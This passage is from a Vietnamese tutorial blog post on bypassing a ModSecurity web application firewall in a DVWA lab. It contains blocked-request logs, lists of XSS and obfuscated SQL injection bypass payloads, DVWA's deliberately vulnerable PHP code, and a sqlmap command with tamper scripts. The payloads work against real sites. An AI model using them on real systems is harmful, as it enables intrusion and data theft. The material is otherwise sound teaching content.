Apache-Error: [file "apache2_util.c"] [line 271] [level 3] [client ATTACKER_IP] ModSecurity: Warning. Matched phrase "document.cookie" at ARGS:name. [file "/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"] [line "250"] [id "941180"] [msg "Node-Validator Blacklist Keywords"] [data "Matched Data: document.cookie found within ARGS:name: <a onmouseover=alert(document.cookie)>xxs link</a>"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-xss"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "VICTIM_IP"] [uri "/DVWA/vulnerabilities/xss_r/"] [unique_id "ZnPoVXd3yPqHxvRTqwtXAAAAAAQ"]
Apache-Error: [file "apache2_util.c"] [line 271] [level 3] [client ATTACKER_IP] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "93"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 23)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "VICTIM_IP"] [uri "/DVWA/vulnerabilities/xss_r/"] [unique_id "ZnPoVXd3yPqHxvRTqwtXAAAAAAQ"]
Apache-Error: [file "apache2_util.c"] [line 271] [level 3] [client ATTACKER_IP] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "91"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 23 - SQLI=0,XSS=20,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 23, 0, 0, 0"] [ver "OWASP_CRS/3.3.2"] [tag "event-correlation"] [hostname "VICTIM_IP"] [uri "/DVWA/vulnerabilities/xss_r/"] [unique_id "ZnPoVXd3yPqHxvRTqwtXAAAAAAQ"]
Action: Intercepted (phase 2)
Stopwatch: 1718872149740697 1513 (- - -)
Stopwatch2: 1718872149740697 1513; combined=1236, p1=292, p2=874, p3=0, p4=0, p5=70, sr=56, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.5 (http://www.modsecurity.org/); OWASP_CRS/3.3.2.
Server: Apache/2.4.52 (Ubuntu)
Engine-Mode: "ENABLED"

--ef51fc35-Z--

Bypass

Vì mục tiêu ở đây là bypass JavaScript, chúng ta có thể khám phá ra nhiều phương pháp. Tuy nhiên, đối với WAF lọc onxxx, các kỹ thuật bypass hiệu quả nhất như sau:

<object onafterscriptexecute=confirm(0)>
<object onbeforescriptexecute=confirm(0)>
<img src='1' onerror\x00=alert(0) />
<img src='1' onerror\x0b=alert(0) />
<img src='1' onerror/=alert(0) />
...

Ví dụ,

<object onafterscriptexecute=confirm(0)>

Bằng cách làm này, bạn có thể thấy rằng WAF đã được bypass.


VII.Tiêm nhiễm SQL (SQL Injection - SQLi)

Tổng quan

Tiêm nhiễm SQL là một loại tấn công mà các cá nhân độc hại sử dụng để truy cập trái phép vào cơ sở dữ liệu của một ứng dụng web, sửa đổi hoặc xóa dữ liệu. Trong cuộc tấn công này, kẻ tấn công chèn mã SQL độc hại vào các câu truy vấn SQL mà ứng dụng web sử dụng để giao tiếp với cơ sở dữ liệu.

Ứng dụng web tạo ra các câu truy vấn SQL để lấy thông tin từ cơ sở dữ liệu dựa trên dữ liệu do người dùng nhập vào (ví dụ: tên người dùng, mật khẩu, từ khóa tìm kiếm). Kẻ tấn công chèn mã SQL độc hại vào các trường nhập liệu này, làm thay đổi cấu trúc của câu truy vấn SQL và gây ra các hoạt động không mong muốn.

Ví dụ

Xét một biểu mẫu đăng nhập thông thường với các trường tên người dùng và mật khẩu. Biểu mẫu này tạo ra một câu truy vấn SQL như sau:

SELECT * FROM users WHERE username = 'user' AND password = 'pass'

Tuy nhiên, nếu kẻ tấn công nhập ' OR 1=1 -- vào trường tên người dùng, câu truy vấn SQL sẽ bị thay đổi thành:

SELECT * FROM users WHERE username = '' OR 1=1 --' AND password = 'pass'

Trong trường hợp này, vì biểu thức 1=1 luôn đúng, câu truy vấn sẽ trả về tất cả bản ghi người dùng, cho phép kẻ tấn công đăng nhập mà không cần mật khẩu.

Mã nguồn ví dụ

Dưới đây là một đoạn mã nguồn PHP từ DVWA (Damn Vulnerable Web Application) ở mức bảo mật thấp:

<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
        // Get input
        $id = $_REQUEST[ 'id' ];

        switch ($_DVWA['SQLI_DB']) {
                case MYSQL:
                        // Check database
                        $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
                        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

                        // Get results
                        while( $row = mysqli_fetch_assoc( $result ) ) {
                                // Get values
                                $first = $row["first_name"];
                                $last  = $row["last_name"];

                                // Feedback for end user
                                $html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
                        }

                        mysqli_close($GLOBALS["___mysqli_ston"]);
                        break;
                case SQLITE:
                        global $sqlite_db_connection;

                        #$sqlite_db_connection = new SQLite3($_DVWA['SQLITE_DB']);
                        #$sqlite_db_connection->enableExceptions(true);

                        $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
                        #print $query;
                        try {
                                $results = $sqlite_db_connection->query($query);
                        } catch (Exception $e) {
                                echo 'Caught exception: ' . $e->getMessage();
                                exit();
                        }

                        if ($results) {
                                while ($row = $results->fetchArray()) {
                                        // Get values
                                        $first = $row["first_name"];
                                        $last  = $row["last_name"];

                                        // Feedback for end user
                                        $html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
                                }
                        } else {
                                echo "Error in fetch ".$sqlite_db->lastErrorMsg();
                        }
                        break;
        } 
}

?>

Tường lửa ứng dụng web (WAF)

Một payload trực tiếp như ' or 1=1 -- - sẽ bị WAF chặn lại. Các biến thể như thay đổi chữ hoa/thường hoặc thêm dấu nháy cũng không hiệu quả:

  • ' oR 1=1 -- -
  • ' oR '1'='1' -- -

Dưới đây là nhật ký của một yêu cầu bị WAF chặn vì nghi ngờ tấn công SQLi:

--95d30709-A--
[20/Jun/2024:08:26:30.170636 +0000] ZnPntg9N6NOgQglLgIM6twAAAAA ATTACKER_IP 42428 VICTIM_IP 80
--95d30709-B--
GET /DVWA/vulnerabilities/sqli/?id=%27+or+1%3D1+--+-&Submit=Submit HTTP/1.1
Host: VICTIM_IP
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://VICTIM_IP/DVWA/vulnerabilities/sqli/
Cookie: security=low; PHPSESSID=mkir9lhmrjcnhd7fvbfkjvrtgr
Upgrade-Insecure-Requests: 1

--95d30709-F--
HTTP/1.1 403 Forbidden
Content-Length: 279
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=iso-8859-1

--95d30709-E--
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access this resource.</p>
<hr>
<address>Apache/2.4.52 (Ubuntu) Server at VICTIM_IP Port 80</address>
</body></html>

--95d30709-H--
Message: Warning. Pattern match "^[\\d.:]+$" at REQUEST_HEADERS:Host. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "VICTIM_IP"] [severity "WARNING"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"]
Message: Warning. detected SQLi using libinjection with fingerprint 's&1c' [file "/usr/share/modsecurity-crs/rules/REQUEST-942-APPLICATION-ATTACK-SQLI.conf"] [line "65"] [id "942100"] [msg "SQL Injection Attack Detected via libinjection"] [data "Matched Data: s&1c found within ARGS:id: ' or 1=1 -- -"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-sqli"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/66"] [tag "PCI/6.5.2"]
Message: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "93"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"]
Message: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "91"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=5,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 8, 0, 0, 0"] [ver "OWASP_CRS/3.3.2"] [tag "event-correlation"]
Apache-Error: [file "apache2_util.c"] [line 271] [level 3] [client ATTACKER_IP] ModSecurity: Warning. Pattern match "^[\\\\\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "VICTIM_IP"] [severity "WARNING"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "VICTIM_IP"] [uri "/DVWA/vulnerabilities/sqli/"] [unique_id "ZnPntg9N6NOgQglLgIM6twAAAAA"]
Apache-Error: [file "apache2_util.c"] [line 271] [level 3] [client ATTACKER_IP] ModSecurity: Warning. detected SQLi using libinjection with fingerprint 's&1c' [file "/usr/share/modsecurity-crs/rules/REQUEST-942-APPLICATION-ATTACK-SQLI.conf"] [line "65"] [id "942100"] [msg "SQL Injection Attack Detected via libinjection"] [data "Matched Data: s&1c found within ARGS:id: ' or 1=1 -- -"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-sqli"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/66"] [tag "PCI/6.5.2"] [hostname "VICTIM_IP"] [uri "/DVWA/vulnerabilities/sqli/"] [unique_id "ZnPntg9N6NOgQglLgIM6twAAAAA"]
Apache-Error: [file "apache2_util.c"] [line 271] [level 3] [client ATTACKER_IP] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "93"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "VICTIM_IP"] [uri "/DVWA/vulnerabilities/sqli/"] [unique_id "ZnPntg9N6NOgQglLgIM6twAAAAA"]
Apache-Error: [file "apache2_util.c"] [line 271] [level 3] [client ATTACKER_IP] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "91"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=5,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 8, 0, 0, 0"] [ver "OWASP_CRS/3.3.2"] [tag "event-correlation"] [hostname "VICTIM_IP"] [uri "/DVWA/vulnerabilities/sqli/"] [unique_id "ZnPntg9N6NOgQglLgIM6twAAAAA"]
Action: Intercepted (phase 2)
Stopwatch: 1718871990169232 1446 (- - -)
Stopwatch2: 1718871990169232 1446; combined=1193, p1=260, p2=836, p3=0, p4=0, p5=97, sr=65, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.5 (http://www.modsecurity.org/); OWASP_CRS/3.3.2.
Server: Apache/2.4.52 (Ubuntu)
Engine-Mode: "ENABLED"

--95d30709-Z--

Phương pháp bypass

Để vượt qua WAF, có thể sử dụng một số kỹ thuật, chủ yếu dựa trên thử và sai. Một cách là thay thế khoảng trắng bằng /**/ để tránh bị khớp bởi biểu thức chính quy (regex). Ví dụ, payload ban đầu:

' or/**/1=1/**/-- -

Ngoài ra, có nhiều payload khác có thể thử để tránh bị regex phát hiện. Dưới đây là một số ví dụ:

1' and 1=1 union select database(),user()#
/*!50000%55nIoN*/ /*!50000%53eLeCt*/
%55nion(%53elect 1,2,3)-- -
+union+distinct+select+
+union+distinctROW+select+
/**//*!12345UNION SELECT*//**/
/**//*!50000UNION SELECT*//**/
/**/UNION/**//*!50000SELECT*//**/
/*!50000UniON SeLeCt*/
union /*!50000%53elect*/
+#uNiOn+#sEleCt
+#1q%0AuNiOn all#qa%0A#%0AsEleCt
/*!%55NiOn*/ /*!%53eLEct*/
/*!u%6eion*/ /*!se%6cect*/
+un/**/ion+se/**/lect
uni%0bon+se%0blect

Mục tiêu là tạo ra các biến thể của payload để tránh bị WAF phát hiện, bằng cách sử dụng các kỹ thuật như mã hóa, thay đổi ký tự, hoặc thêm các bình luận SQL.


VIII.Vượt qua WAF bằng Công cụ

Tổng quan

Mặc dù chúng ta đã thực hiện kiểm tra thủ công trong suốt quá trình đào tạo, nhưng có các công cụ tự động có thể được sử dụng để kiểm tra tất cả các payload vượt qua WAF.

Ví dụ, phần Fuzzing của SecLists có thể được sử dụng với công cụ như gobuster:

SecLists Fuzzing

SQLMap

SQLMap là một công cụ kiểm tra thâm nhập mã nguồn mở được sử dụng để tự động phát hiện và khai thác các lỗ hổng tiêm nhiễm SQL. Công cụ này được viết bằng Python và hỗ trợ nhiều hệ quản trị cơ sở dữ liệu (DBMS).

Tính năng của SQLMap

  • Quét tự động: SQLMap có thể tự động quét một ứng dụng web để phát hiện các lỗ hổng tiêm nhiễm SQL.
  • Trích xuất thông tin cơ sở dữ liệu: Khi phát hiện lỗ hổng, SQLMap có thể trích xuất loại cơ sở dữ liệu, phiên bản, tên người dùng, bảng, cột và thậm chí cả dữ liệu.
  • Thao tác trên cơ sở dữ liệu: SQLMap có thể thực hiện các thao tác đọc, ghi, cập nhật và xóa trên cơ sở dữ liệu.
  • Truy cập hệ thống tệp: Trong một số trường hợp, SQLMap có thể truy cập hệ thống tệp của máy chủ, cho phép đọc hoặc ghi tệp.
  • Thực thi lệnh hệ điều hành: Trong một số trường hợp, SQLMap có thể thực thi các lệnh hệ điều hành trên máy chủ.
  • Hỗ trợ nhiều DBMS: Hỗ trợ các DBMS phổ biến như MySQL, PostgreSQL, SQLite, Microsoft SQL Server, Oracle, IBM DB2.
  • Dễ sử dụng: Có giao diện dễ dùng, phù hợp cho cả người mới bắt đầu và người dùng có kinh nghiệm.

Trang trợ giúp của SQLMap

Dưới đây là trang trợ giúp của SQLMap:

┌──(tfp㉿kali)-[~]
└─$ sqlmap --help
        ___
       __H__
 ___ ___[,]_____ ___ ___  {1.8.2#stable}
|_ -| . [']     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

Usage: python3 sqlmap [options]

Options:
  -h, --help            Show basic help message and exit
  -hh                   Show advanced help message and exit
  --version             Show program's version number and exit
  -v VERBOSE            Verbosity level: 0-6 (default 1)

  Target:
    At least one of these options has to be provided to define the
    target(s)

    -u URL, --url=URL   Target URL (e.g. "http://www.site.com/vuln.php?id=1")
    -g GOOGLEDORK       Process Google dork results as target URLs

  Request:
    These options can be used to specify how to connect to the target URL

    --data=DATA         Data string to be sent through POST (e.g. "id=1")
    --cookie=COOKIE     HTTP Cookie header value (e.g. "PHPSESSID=a8d127e..")
    --random-agent      Use randomly selected HTTP User-Agent header value
    --proxy=PROXY       Use a proxy to connect to the target URL
    --tor               Use Tor anonymity network
    --check-tor         Check to see if Tor is used properly

  Injection:
    These options can be used to specify which parameters to test for,
    provide custom injection payloads and optional tampering scripts

    -p TESTPARAMETER    Testable parameter(s)
    --dbms=DBMS         Force back-end DBMS to provided value

  Detection:
    These options can be used to customize the detection phase

    --level=LEVEL       Level of tests to perform (1-5, default 1)
    --risk=RISK         Risk of tests to perform (1-3, default 1)

  Techniques:
    These options can be used to tweak testing of specific SQL injection
    techniques

    --technique=TECH..  SQL injection techniques to use (default "BEUSTQ")

  Enumeration:
    These options can be used to enumerate the back-end database
    management system information, structure and data contained in the
    tables

    -a, --all           Retrieve everything
    -b, --banner        Retrieve DBMS banner
    --current-user      Retrieve DBMS current user
    --current-db        Retrieve DBMS current database
    --passwords         Enumerate DBMS users password hashes
    --dbs               Enumerate DBMS databases
    --tables            Enumerate DBMS database tables
    --columns           Enumerate DBMS database table columns
    --schema            Enumerate DBMS schema
    --dump              Dump DBMS database table entries
    --dump-all          Dump all DBMS databases tables entries
    -D DB               DBMS database to enumerate
    -T TBL              DBMS database table(s) to enumerate
    -C COL              DBMS database table column(s) to enumerate

  Operating system access:
    These options can be used to access the back-end database management
    system underlying operating system

    --os-shell          Prompt for an interactive operating system shell
    --os-pwn            Prompt for an OOB shell, Meterpreter or VNC

  General:
    These options can be used to set some general working parameters

    --batch             Never ask for user input, use the default behavior
    --flush-session     Flush session files for current target

  Miscellaneous:
    These options do not fit into any other category

    --wizard            Simple wizard interface for beginner users

Sử dụng SQLMap để vượt qua WAF

SQLMap có thể được sử dụng để kiểm tra lỗ hổng SQLi sau WAF. Ví dụ:

sqlmap -u 'http://VICTIM_IP/DVWA/vulnerabilities/sqli/?id=1' --cookie="security=low; PHPSESSID=fjiu1r8e909m14pqic7a07d3dn" --random-agent --delay 0.1 --tamper=modsecurityzeroversioned,space2hash

Để đạt hiệu quả tối ưu, cần thử nghiệm với các tham số như --level, --risk, --random-agent, và --delay để tìm ra phương pháp quét tốt nhất, tránh bị WAF chặn toàn bộ yêu cầu.

Giải thích các tham số

  • -u: URL mục tiêu để kiểm tra.
  • —cookie: Giá trị cookie HTTP, cần thiết khi ứng dụng yêu cầu phiên xác thực.
  • —random-agent: Sử dụng User-Agent ngẫu nhiên để tránh bị phát hiện bởi WAF.
  • —delay: Thời gian chờ giữa các yêu cầu (giúp giảm nguy cơ bị chặn).
  • —tamper: Sử dụng các script tamper (như modsecurityzeroversioned, space2hash) để sửa đổi payload nhằm vượt qua các bộ lọc của WAF.

WAF Bypass Techniques

Author

Kai0Kid

Publish Date

10 - 09 - 2025

License

Unlicensed

Avatar
Kai0Kid

Bạn tìm gì ở tôi ?